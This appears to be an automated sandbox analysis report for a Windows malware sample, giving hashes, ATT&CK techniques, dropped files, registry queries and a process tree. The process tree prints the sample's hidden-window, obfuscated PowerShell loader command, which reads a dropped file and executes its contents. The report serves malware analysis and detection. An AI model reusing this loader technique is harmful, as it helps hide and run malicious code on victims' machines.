89360a01c95a9aee2ea2af6fe15693baefabe2d31beb3c43fcbc390d73c3bee5

General

Target

89360a01c95a9aee2ea2af6fe15693baefabe2d31beb3c43fcbc390d73c3bee5.exe
Size

989KB
MD5

2412cbbed6081fd40494028b7ff5e791
SHA1

0f404ae35ee0193e07a6cc26391f7560ec103ab9
SHA256

89360a01c95a9aee2ea2af6fe15693baefabe2d31beb3c43fcbc390d73c3bee5
SHA512

03ea2096fa8c34f668c301549d6dd7152e24e8d50b9cf5fca63452eecf720bac0e084ddc56a28cf558b2da32c3e5cb7cc036e06eb9735c4a443a7ffe75aeb055
SSDEEP

24576:K+63kmIlyh9fgMAC7Nr8xAGuwIm/yWiopvC9wi:K+TOflm/RaWi6Mwi

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2124	powershell.exe
2680	powershell.exe

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Common Files\Hemicrane.ini	89360a01c95a9aee2ea2af6fe15693baefabe2d31beb3c43fcbc390d73c3bee5.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\resources\0409\syntonolydian\statsminister.lnk	89360a01c95a9aee2ea2af6fe15693baefabe2d31beb3c43fcbc390d73c3bee5.exe
File opened for modification	C:\Windows\resources\0409\federalt\Telephonists230.Ube	89360a01c95a9aee2ea2af6fe15693baefabe2d31beb3c43fcbc390d73c3bee5.exe
File opened for modification	C:\Windows\resources\snagline.sub	89360a01c95a9aee2ea2af6fe15693baefabe2d31beb3c43fcbc390d73c3bee5.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	89360a01c95a9aee2ea2af6fe15693baefabe2d31beb3c43fcbc390d73c3bee5.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2124	powershell.exe
2680	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2124	powershell.exe
Token: SeDebugPrivilege	2680	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2076 wrote to memory of 2124	2076	89360a01c95a9aee2ea2af6fe15693baefabe2d31beb3c43fcbc390d73c3bee5.exe	30
PID 2076 wrote to memory of 2124	2076	89360a01c95a9aee2ea2af6fe15693baefabe2d31beb3c43fcbc390d73c3bee5.exe	30
PID 2076 wrote to memory of 2124	2076	89360a01c95a9aee2ea2af6fe15693baefabe2d31beb3c43fcbc390d73c3bee5.exe	30
PID 2076 wrote to memory of 2124	2076	89360a01c95a9aee2ea2af6fe15693baefabe2d31beb3c43fcbc390d73c3bee5.exe	30
PID 2076 wrote to memory of 2680	2076	89360a01c95a9aee2ea2af6fe15693baefabe2d31beb3c43fcbc390d73c3bee5.exe	32
PID 2076 wrote to memory of 2680	2076	89360a01c95a9aee2ea2af6fe15693baefabe2d31beb3c43fcbc390d73c3bee5.exe	32
PID 2076 wrote to memory of 2680	2076	89360a01c95a9aee2ea2af6fe15693baefabe2d31beb3c43fcbc390d73c3bee5.exe	32
PID 2076 wrote to memory of 2680	2076	89360a01c95a9aee2ea2af6fe15693baefabe2d31beb3c43fcbc390d73c3bee5.exe	32

C:\Users\Admin\AppData\Local\Temp\89360a01c95a9aee2ea2af6fe15693baefabe2d31beb3c43fcbc390d73c3bee5.exe
"C:\Users\Admin\AppData\Local\Temp\89360a01c95a9aee2ea2af6fe15693baefabe2d31beb3c43fcbc390d73c3bee5.exe"
1⤵
- Drops file in Program Files directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2076
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Parthenocissus=Get-Content -raw 'C:\Users\Admin\AppData\Local\fona\Kvit\Snurre.Cha';$Bekendelsesskriftets=$Parthenocissus.SubString(2518,3);.$Bekendelsesskriftets($Parthenocissus)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2124
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Parthenocissus=Get-Content -raw 'C:\Users\Admin\AppData\Local\fona\Kvit\Snurre.Cha';$Bekendelsesskriftets=$Parthenocissus.SubString(2518,3);.$Bekendelsesskriftets($Parthenocissus)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2680

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\depoh.lnk

Filesize
878B

MD5
380481a97e3aa49e2940d0bbb6989501

SHA1
6da0cec7122699330f174ea0c52f53c5a0057042

SHA256
d77bf6385c7bb1a8018625a08ed752994b65183d6fd6d111aa33a631f917faca

SHA512
6d900666370fad9fba38272e7f9a5449f46be81f70df23ecfc7a42cf27d8821e913a7fc64e9a972ee701e122b3059c9fb0f5be4be4cbbf0c3294b38376508168

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\depoh.lnk

Filesize
852B

MD5
665e5740cf991650e61944fe0f828373

SHA1
90a1c975e50761d44c0931edc6fcbe2560513c97

SHA256
81d8a71ea8608fff35306875ab221ad3c99cd33e2fb84ede7ab2d7a5b1d0d53f

SHA512
c7fefee9cceb152e3dece33ebb64bf3282a7e24edc85b1f85f830677da335e336306dd5f2214248afd677974852c8581778c427fdd2c2f49c43d890ed1178d9e

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
c226eac46176f226a8a267ccd2ace00c

SHA1
a215b3cded081f2b6b4ed38de3064ea1e5f39b66

SHA256
a07e29eb525c453362881b6ae080abc03e3f210f0ec3a379680adc5ba85dee1c

SHA512
7e5ab1ec2b4401e46d52d7ef2739f50669e5d34606a20916ef06f47c1996a294ac9f5781bdaf082a375db1c788eed0b158575c7bc2c730b38c082ed5d11ba20e

Download Submit
memory/2124-182-0x0000000073F41000-0x0000000073F42000-memory.dmp

Filesize
4KB

Download
memory/2124-183-0x0000000073F40000-0x00000000744EB000-memory.dmp

Filesize
5.7MB

Download
memory/2124-184-0x0000000073F40000-0x00000000744EB000-memory.dmp

Filesize
5.7MB

Download
memory/2124-186-0x0000000073F40000-0x00000000744EB000-memory.dmp

Filesize
5.7MB

Download
memory/2124-185-0x0000000073F40000-0x00000000744EB000-memory.dmp

Filesize
5.7MB

Download
memory/2124-187-0x0000000073F40000-0x00000000744EB000-memory.dmp

Filesize
5.7MB

Download

Analysis

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